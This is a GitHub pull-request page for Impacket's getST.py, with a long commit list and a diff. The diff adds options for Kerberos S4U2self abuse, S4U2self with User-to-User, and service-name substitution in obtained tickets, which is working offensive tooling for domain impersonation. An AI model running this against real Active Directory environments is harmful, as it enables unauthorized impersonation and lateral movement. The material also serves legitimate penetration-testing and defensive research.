Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added -self, -altservice and -u2u to getST for S4U2self abuse, S4U2self+u2u, and service substitution #1202

Closed
wants to merge 197 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
197 commits
Select commit Hold shift + click to select a range
9df91ae
Improved searchFilter
ShutdownRepo Aug 2, 2021
a39d8db
Patching SID query of the incoming user
ShutdownRepo Sep 13, 2021
46f2aa9
Merge branch 'SecureAuthCorp:master' into aclattack
ShutdownRepo Sep 13, 2021
48adfe3
Added user filter and changed a string
ShutdownRepo Oct 13, 2021
5276230
Adding describeTicket base
ShutdownRepo Oct 25, 2021
71f6586
Adding "only S4U2Self" switch
ShutdownRepo Oct 25, 2021
224901d
Changing getST header to python3
ShutdownRepo Oct 25, 2021
eba8475
SPN argument optional when No S4U2Proxy is done
ShutdownRepo Oct 26, 2021
09717a6
Started implementing Ticket decryption
ShutdownRepo Oct 26, 2021
386e50f
Update describeTicket.py
p0dalirius Oct 26, 2021
ad5b10c
Added PAC structures
ShutdownRepo Oct 28, 2021
ccdb6a2
Improved PAC parsing and printing
ShutdownRepo Oct 30, 2021
214c356
Fixing the PAC_CLIENT_INFO structure
ShutdownRepo Oct 31, 2021
ccec4a1
Fixes dates, improved errors, prepared for PR
ShutdownRepo Oct 31, 2021
1c385cc
Added PAC Credentials structure, improved code
ShutdownRepo Nov 1, 2021
e74f485
Reverting getST edit
ShutdownRepo Nov 1, 2021
31d18cf
Cleaning imports and overall code
ShutdownRepo Nov 1, 2021
37df098
Reverting ALL getST changes, wrong dev branch
ShutdownRepo Nov 1, 2021
428e56e
Debugging some keys calculation
ShutdownRepo Nov 1, 2021
b4774d6
Merge branch 'SecureAuthCorp:master' into getST
ShutdownRepo Nov 1, 2021
4bc842d
Merge branch 'SecureAuthCorp:master' into findDelegation
ShutdownRepo Nov 1, 2021
b4fbcf9
Added renameMachine.py
ShutdownRepo Dec 10, 2021
9d0158b
Improved error handling and expected behavior for patched envs
ShutdownRepo Dec 13, 2021
4206def
Fixed small if elif order for debug messages
ShutdownRepo Dec 15, 2021
de5906d
Modified searchFilter to show RBCD over DCs
GeisericII Jan 26, 2022
8d738ad
Added possibility to query delegs for disabled users
GeisericII Jan 26, 2022
3c9432e
Merge branch 'SecureAuthCorp:master' into findDelegation
ShutdownRepo Feb 5, 2022
55e9742
Added "-disabled" switch to query only delegs for disabled users
GeisericII Feb 5, 2022
7fc473c
Update smbattack.py
n00py Feb 8, 2022
41103be
Forgot one
n00py Feb 8, 2022
7412a74
Improved exporting and added Kerberos keys calculation
ShutdownRepo Feb 9, 2022
b098f81
Merge pull request #1 from ShutdownRepo/ntlmrelayx
n00py Feb 9, 2022
c8827b7
Adding tgssub
ShutdownRepo Feb 12, 2022
5e944b3
add alt_service parameter to fromTGS method
wqreytuk Feb 18, 2022
910386f
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
42ce5d4
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
ad3eeff
add alt_service parameter to from_asn1 method
wqreytuk Feb 18, 2022
125e946
add alt_service parameter to from_asn1 method
wqreytuk Feb 18, 2022
34006d9
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
97d5d35
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
a8402e0
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
5ffae1e
add support for no-pac s4u2self attack
wqreytuk Feb 18, 2022
aa8b81c
Merge branch 'SecureAuthCorp:master' into getST
ShutdownRepo Feb 19, 2022
bdf6c0e
Adding altservice feature
ShutdownRepo Feb 19, 2022
3e67b3d
Merge branch 'SecureAuthCorp:master' into tgssub
ShutdownRepo Feb 19, 2022
d056f09
Handling exception where ticket's service is not formatted like class…
ShutdownRepo Feb 19, 2022
533b124
Handling exception where `-altservice` is supplied when `-spn` is not
ShutdownRepo Feb 19, 2022
e93b273
update
wqreytuk Feb 19, 2022
c925ff8
Update ccache.py
wqreytuk Feb 19, 2022
dc4cb90
Update types.py
wqreytuk Feb 19, 2022
fea9812
Update getST.py
wqreytuk Feb 19, 2022
8cfd8e8
Update getST.py
wqreytuk Feb 19, 2022
5198385
Removing useless and errored statements and improving args handling
ShutdownRepo Feb 19, 2022
0beff93
Improving arguments handling
ShutdownRepo Feb 19, 2022
28f99c9
Update types.py
wqreytuk Feb 20, 2022
3b5eb31
Update ccache.py
wqreytuk Feb 20, 2022
b426cda
Update getST.py
wqreytuk Feb 20, 2022
30fa246
Update getST.py
wqreytuk Feb 20, 2022
c942baf
Update getST.py
wqreytuk Feb 20, 2022
18ed0ae
withdraw the modification to from_asn1 method
wqreytuk Feb 20, 2022
692d29c
changed with types.py
wqreytuk Feb 20, 2022
04d398f
Update ccache.py
wqreytuk Feb 20, 2022
c47a70f
Update ccache.py
wqreytuk Feb 20, 2022
526f73a
Update ccache.py
wqreytuk Feb 20, 2022
b476487
Update types.py
wqreytuk Feb 20, 2022
8450c82
Update ccache.py
wqreytuk Feb 20, 2022
7065aa8
Update getST.py
wqreytuk Feb 20, 2022
a953f54
Update getST.py
wqreytuk Feb 20, 2022
8953d05
Improved the service substitution to avoid discrepancies in the ticke…
ShutdownRepo Feb 20, 2022
5759792
Adding message informating users -spn is ignored when doing -self
ShutdownRepo Feb 20, 2022
f71c3bb
Improved the service substitution to avoid discrepancies in the ticke…
ShutdownRepo Feb 20, 2022
252ce71
Update ccache.py
wqreytuk Feb 21, 2022
9bf913a
Update types.py
wqreytuk Feb 21, 2022
ff31817
Update getTGT.py
wqreytuk Feb 21, 2022
334ac5b
Update getTGT.py
wqreytuk Feb 21, 2022
991b52a
Update getST.py
wqreytuk Feb 21, 2022
4832b97
Update getTGT.py
wqreytuk Feb 21, 2022
a4d2530
Update getTGT.py
wqreytuk Feb 21, 2022
4dc134e
remove redundant decryption
wqreytuk Feb 21, 2022
19c9dc2
Update getST.py
wqreytuk Feb 21, 2022
47db8ee
Update getST.py
wqreytuk Feb 21, 2022
9744724
Merge branch 'getST' into getTS
ShutdownRepo Feb 21, 2022
9150c94
Merge pull request #5 from wqreytuk/getTS
ShutdownRepo Feb 21, 2022
9388c65
Fixing filename definition for saveTicket
ShutdownRepo Feb 21, 2022
a01fd0e
Fixing minor logging error
ShutdownRepo Feb 21, 2022
4714c31
Adding ticket decoding and improving parsing
ShutdownRepo Feb 21, 2022
d3fdf4c
Added expired flag to endtime and renewtill times
p0dalirius Feb 21, 2022
d8d454b
Removing duplicate underscore in ccache name
ShutdownRepo Feb 22, 2022
1d4c648
[Get-GPPPassword.py] Better handling of various XML files in Group Po…
p0dalirius Feb 23, 2022
c69fcad
Better order of attributes for pretty print
p0dalirius Feb 23, 2022
5817420
A bit of code refactoring
p0dalirius Feb 25, 2022
e6fd0a9
Fix ticketer duration to support default 10 hours tickets
Dramelac Feb 25, 2022
fd76535
Reverting change to pac.py that was failing ticketer.py
ShutdownRepo Feb 25, 2022
e7caaa9
Reverting change to pac.py (forgot smth)
ShutdownRepo Feb 25, 2022
312715f
fixed -self and -spn check
wqreytuk Feb 26, 2022
1c66bc3
Update getST.py
wqreytuk Feb 26, 2022
be58521
Update getST.py
wqreytuk Feb 26, 2022
a92f296
Update getST.py
wqreytuk Feb 26, 2022
b2e2237
Update getST.py
wqreytuk Feb 26, 2022
8759e6c
fixed -spn and -self check
wqreytuk Feb 26, 2022
f31bc0a
Merge pull request #6 from wqreytuk/getST
ShutdownRepo Mar 5, 2022
5ea8507
fixed error
wqreytuk Mar 7, 2022
f53426a
Merge pull request #7 from wqreytuk/describeTicket
ShutdownRepo Mar 7, 2022
120a520
Handling missing kvno
ShutdownRepo Mar 8, 2022
6743ee8
Fixing debug message
ShutdownRepo Mar 9, 2022
094fb51
added machineAccountQuota.py
TahiTi Mar 16, 2022
05fd732
Fixing SID and UAC flags parsing
ShutdownRepo Mar 21, 2022
6a8d16c
LDAP attack: Add DNS records to LDAP
SAERXCIT Mar 20, 2022
1b3693d
Merge branch 'master' into aclattack
ShutdownRepo Mar 29, 2022
16c4dfe
Laying ground
ShutdownRepo Mar 31, 2022
c262752
adding base for DACL parsing
ShutdownRepo Mar 31, 2022
f350cdc
Read Write and Remove now work partially, GenericAll issue left to de…
ShutdownRepo Apr 1, 2022
c1a457c
Slightly improved printing and populated GUIDs
ShutdownRepo Apr 1, 2022
5a086e0
Refactored some bits, read/write/remove fully functional
ShutdownRepo Apr 1, 2022
f36db7a
Merge pull request #3 from GeisericII/patch-1
ShutdownRepo Apr 1, 2022
aa8b16e
Added backup and restore
ShutdownRepo Apr 1, 2022
ee7eb8b
Add comments, improve logging and Exception handling corrections
Apr 2, 2022
3b89ddf
Typo error
Apr 2, 2022
472101d
Improving restore logic
ShutdownRepo Apr 2, 2022
f9393e0
Adding exception for read filtering
ShutdownRepo Apr 2, 2022
4565452
Denied ACE now handled
Apr 8, 2022
75fb93e
Fixed Kerberos authentication error.
TahiTi Apr 26, 2022
6e0d471
Code refactor and addition of computer object creator info.
TahiTi Apr 26, 2022
0138ae4
Code refactor and addition of computer object creator info.
TahiTi Apr 26, 2022
6ee80f3
ccache-refactor
wqreytuk Apr 29, 2022
90866d4
Merge pull request #9 from wqreytuk/getST
ShutdownRepo May 2, 2022
3c666a2
Fixing incomplete access mask parsing
ShutdownRepo May 2, 2022
c720212
Fixed Kerberos authentication error.
TahiTi May 3, 2022
ed7f48b
Merge pull request #8 from TahiTi/dacledit
ShutdownRepo May 14, 2022
0c74df0
Merge pull request #10 from TahiTi/CVE-2021-42278
ShutdownRepo May 14, 2022
fe31f16
Fix principal & target arg descriptions
ShutdownRepo May 14, 2022
0d15c79
New example
ShutdownRepo May 14, 2022
3afb78c
Fixing args `-owner*` to `-new-owner*`
ShutdownRepo May 14, 2022
703b0c5
Removing debug code
ShutdownRepo May 14, 2022
5c477e7
Removing redundant debug read after write
ShutdownRepo May 14, 2022
cf5cfd0
Fixing and clarifying access masks and descriptions
ShutdownRepo May 15, 2022
1d0befb
Clarifying debug message
ShutdownRepo May 15, 2022
6a38b1c
Use a custom LDAP filter during a DCSync in secretsdump.py
snovvcrash May 29, 2022
47c9426
add filter option to ntlmrelayx.py
Jun 22, 2022
52c5449
Added flag to drop SSP from Net-NTLMv1 auth
Jun 26, 2022
15c4168
Description update of dacledit.py
Jul 9, 2022
866a269
Fixing logic error that was overwriting files
ShutdownRepo Jul 21, 2022
8c3904d
Fixed Logging Output
Synzack Jul 21, 2022
bdd40f4
Merge pull request #11 from Synzack/dacledit
ShutdownRepo Jul 22, 2022
3bba69c
Add LDAP connection check
snovvcrash Jul 25, 2022
17f712f
Move ldapConnection parameter
snovvcrash Jul 25, 2022
21341c4
Move ldapConnection parameter
snovvcrash Jul 25, 2022
4162a38
Merge branch 'SecureAuthCorp:master' into master
Dramelac Aug 30, 2022
2b79d36
Ticketer extra-pac implementation (UPN_DNS_FULL, ATTRIBUTES, REQUESTOR)
Dramelac Sep 1, 2022
4d46714
Merge branch 'SecureAuthCorp:master' into getST-u2u
ShutdownRepo Sep 7, 2022
bf19912
Adding support for S4U2self + U2U
ShutdownRepo Sep 7, 2022
bd6cde2
Removing logging tabs for uniformity with other scripts
ShutdownRepo Sep 7, 2022
9160d5f
Merge branch 'SecureAuthCorp:master' into describeTicket
ShutdownRepo Sep 7, 2022
b470075
Merge pull request #3 from ShutdownRepo/describeTicket
Dramelac Sep 7, 2022
6ab1acf
add PAC_REQUESTOR and PAC_ATTRIBUTES_INFO
Dramelac Aug 30, 2022
4ed1c52
Temporary fix RPC_SID faulty implem with LDAP_SID
Dramelac Aug 31, 2022
9d2276b
Complete UPN_DNS_INFO implementation with S Flag data
Dramelac Aug 31, 2022
20a59c0
Split UPN_DNS struct
Dramelac Aug 31, 2022
8d5a001
Handle null constructor
Dramelac Aug 31, 2022
1aaba17
Add multiline print for data array + Add a corresponding table for we…
Dramelac Sep 1, 2022
d3109e8
Add more well-known SID
Dramelac Sep 1, 2022
33466dc
Change default type behavior
Dramelac Sep 1, 2022
68a67bf
Add Groups decoded field
Dramelac Sep 1, 2022
0a5e5e1
Add credit
Dramelac Sep 7, 2022
1fe2bbb
Change default PAC
Dramelac Sep 7, 2022
d3e402b
Merge pull request #13 from Dramelac/update-pac
ShutdownRepo Sep 7, 2022
57b7c93
Simplifying the process a bit, and improving output
ShutdownRepo Sep 8, 2022
d8b0809
Printing ticket session key
ShutdownRepo Sep 8, 2022
1534e44
Handled SID not found in LDAP error
ShutdownRepo Sep 9, 2022
86a5cbf
mssqlclient.py commands and promt improvements
Mayfly277 Sep 12, 2022
c2a5747
Merge pull request #14 from ShutdownRepo/getuserspns
ShutdownRepo Sep 14, 2022
9d4ffc2
Merge pull request #15 from ShutdownRepo/aclattack
ShutdownRepo Sep 14, 2022
7264be1
Merge pull request #17 from ShutdownRepo/describeTicket
ShutdownRepo Sep 14, 2022
77bae2b
Merge pull request #18 from ShutdownRepo/getST
ShutdownRepo Sep 14, 2022
162b28e
Merge pull request #19 from ShutdownRepo/CVE-2021-42278
ShutdownRepo Sep 14, 2022
27cf013
Merge pull request #21 from n00py/master
ShutdownRepo Sep 14, 2022
1bca37a
Merge pull request #20 from ShutdownRepo/tgssub
ShutdownRepo Sep 14, 2022
074460f
Merge pull request #23 from Dramelac/master
ShutdownRepo Sep 14, 2022
44dab4d
Merge pull request #24 from TahiTi/master
ShutdownRepo Sep 14, 2022
076a944
Merge pull request #28 from ShutdownRepo/dacledit
ShutdownRepo Sep 14, 2022
62c1d79
Merge pull request #29 from ShutdownRepo/owneredit
ShutdownRepo Sep 14, 2022
ae19209
Merge pull request #30 from snovvcrash/secretsdump-ldapfilter
ShutdownRepo Sep 14, 2022
562bad6
Merge pull request #31 from shoxxdj/master
ShutdownRepo Sep 14, 2022
5ed794f
Merge pull request #34 from ShutdownRepo/rbcd
ShutdownRepo Sep 14, 2022
80644c7
Merge pull request #35 from Mayfly277/master
ShutdownRepo Sep 14, 2022
ced113f
Find delegation
ShutdownRepo Sep 14, 2022
42290d6
Get gpppasswords scheduled tasks
ShutdownRepo Sep 14, 2022
d30981c
LDAP attack: Add DNS records to LDAP
ShutdownRepo Sep 14, 2022
2870081
Add pac ticketer
ShutdownRepo Sep 14, 2022
456289b
Added flag to drop SSP from Net-NTLMv1 auth
ShutdownRepo Sep 14, 2022
06ea5fd
Fix parameter merge
Dramelac Sep 20, 2022
4817b85
Merge pull request #37 from ShutdownRepo/getST-u2u
ShutdownRepo Sep 25, 2022
2d1e373
Merge pull request #36 from Dramelac/patch-1
ShutdownRepo Sep 26, 2022
a67c44c
Merge branch 'exegol' into getST
ShutdownRepo Sep 26, 2022
1261fb5
removed unneeded changes
ShutdownRepo Dec 11, 2023
ac8c0e9
removed unneeded changes
ShutdownRepo Dec 11, 2023
2fc02e6
removed unneeded changes
ShutdownRepo Dec 13, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
183 changes: 131 additions & 52 deletions examples/getST.py
100755 → 100644
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
Expand Down Expand Up @@ -31,9 +31,15 @@
#
# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
#
# Author:
# Authors:
# Alberto Solino (@agsolino)
#
# Charlie Bromberg (@_nwodtuhs)
# Martin Gallo (@MartinGalloAr)
# Dirk-jan Mollema (@_dirkjan)
# Elad Shamir (@elad_shamir)
# @snovvcrash
# Leandro (@0xdeaddood)
# Jake Karnes (@jakekarnes42)

from __future__ import division
from __future__ import print_function
Expand All @@ -53,11 +59,11 @@
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5 import constants, types, crypto, ccache
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype
from impacket.krb5.ccache import CCache, Credential
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key
from impacket.krb5.constants import TicketFlags, encodeFlags
from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
Expand All @@ -78,14 +84,82 @@ def __init__(self, target, password, domain, options):
self.__force_forwardable = options.force_forwardable
self.__additional_ticket = options.additional_ticket
self.__saveFileName = None
self.__no_s4u2proxy = options.no_s4u2proxy
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')

def saveTicket(self, ticket, sessionKey):
logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
ccache = CCache()

ccache.fromTGS(ticket, sessionKey, sessionKey)
if self.__options.altservice is not None:
decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
sname = decodedST['ticket']['sname']['name-string']
if len(decodedST['ticket']['sname']['name-string']) == 1:
logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail")
logging.debug("Original sname is: %s" % sname[0])
if '/' not in self.__options.altservice:
raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")
service_class, service_hostname = ('', sname[0])
service_realm = decodedST['ticket']['realm']
elif len(decodedST['ticket']['sname']['name-string']) == 2:
service_class, service_hostname = decodedST['ticket']['sname']['name-string']
service_realm = decodedST['ticket']['realm']
else:
logging.debug("Original sname is: %s" % '/'.join(sname))
raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...")
if '@' in self.__options.altservice:
new_service_realm = self.__options.altservice.split('@')[1].upper()
if not '.' in new_service_realm:
logging.debug("New service realm is not FQDN, you may encounter errors")
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1]
new_service_class = self.__options.altservice.split('@')[0].split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice.split('@')[0]
else:
logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm)
new_service_realm = service_realm
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('/')[1]
new_service_class = self.__options.altservice.split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice
if len(service_class) == 0:
current_service = "%s@%s" % (service_hostname, service_realm)
else:
current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm)
self.__saveFileName += "@" + new_service.replace("/", "_")
logging.info('Changing service from %s to %s' % (current_service, new_service))
# the values are changed in the ticket
decodedST['ticket']['sname']['name-string'][0] = new_service_class
decodedST['ticket']['sname']['name-string'][1] = new_service_hostname
decodedST['ticket']['realm'] = new_service_realm
ticket = encoder.encode(decodedST)
ccache.fromTGS(ticket, sessionKey, sessionKey)
# the values need to be changed in the ccache credentials
# we already checked everything above, we can simply do the second replacement here
for creds in ccache.credentials:
creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value))
else:
ccache.fromTGS(ticket, sessionKey, sessionKey)
creds = ccache.credentials[0]
service_realm = creds['server'].realm['data']
service_class = ''
if len(creds['server'].components) == 2:
service_class = creds['server'].components[0]['data']
service_hostname = creds['server'].components[1]['data']
else:
service_hostname = creds['server'].components[0]['data']
if len(service_class) == 0:
service = "%s@%s" % (service_hostname, service_realm)
else:
service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
self.__saveFileName += "@" + service.replace("/", "_")
logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
ccache.saveFile(self.__saveFileName + '.ccache')

def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
Expand Down Expand Up @@ -274,26 +348,9 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey
)
message = encoder.encode(tgsReq)

logging.info('\tRequesting S4U2Proxy')
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)

tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

cipherText = tgs['enc-part']['cipher']

# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)

encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])

# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]

return r, cipher, sessionKey, newSessionKey
return r, None, sessionKey, None

def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
Expand Down Expand Up @@ -398,9 +455,19 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)


if self.__options.u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)

reqBody['kdc-options'] = constants.encodeFlags(opts)

serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
if self.__no_s4u2proxy and self.__options.spn is not None:
logging.info("When doing S4U2self only, argument -spn is ignored")
if self.__options.u2u:
serverName = Principal(self.__user, self.__domain, type=constants.PrincipalNameType.NT_UNKNOWN.value)
else:
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)

seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
Expand All @@ -412,17 +479,23 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))

if self.__options.u2u:
seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))

if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())

logging.info('\tRequesting S4U2self')
logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else ''))
message = encoder.encode(tgsReq)

r = sendReceive(message, self.__domain, kdcHost)

tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

if self.__no_s4u2proxy:
return r, None, sessionKey, None

if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
Expand Down Expand Up @@ -595,26 +668,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost)
)
message = encoder.encode(tgsReq)

logging.info('\tRequesting S4U2Proxy')
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)

tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

cipherText = tgs['enc-part']['cipher']

# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)

encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])

# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]

return r, cipher, sessionKey, newSessionKey
return r, None, sessionKey, None

def run(self):
tgt = None
Expand All @@ -635,6 +691,7 @@ def run(self):
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode())

# Ok, we have valid TGT, let's try to get a service ticket
if self.__options.impersonate is None:
Expand Down Expand Up @@ -673,15 +730,18 @@ def run(self):
parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
"Service Ticket and save it as ccache")
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket')
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
' for quering the ST. Keep in mind this will only work if '
'the identity provided in this scripts is allowed for '
'delegation to the SPN specified')
parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket')
parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy')
parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
'specified -identity should be provided. This allows impresonation of protected users '
Expand All @@ -697,7 +757,7 @@ def run(self):
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
'omitted it use the domain part (FQDN) specified in the target parameter')

if len(sys.argv) == 1:
parser.print_help()
Expand All @@ -708,6 +768,25 @@ def run(self):

options = parser.parse_args()

if not options.no_s4u2proxy and options.spn is None:
parser.error("argument -spn is required, except when -self is set")

if options.no_s4u2proxy and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2self")

if options.no_s4u2proxy and options.altservice is not None:
if '/' not in options.altservice:
parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")

if options.additional_ticket is not None and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2proxy")

if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None):
parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket")
# implementing plain u2u would need to modify the getKerberosTGS() function and add a switch
# in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN
# the request would also need to embed an additional-ticket (the target user's TGT)

# Init the example's logger theme
logger.init(options.ts)

Expand Down
Loading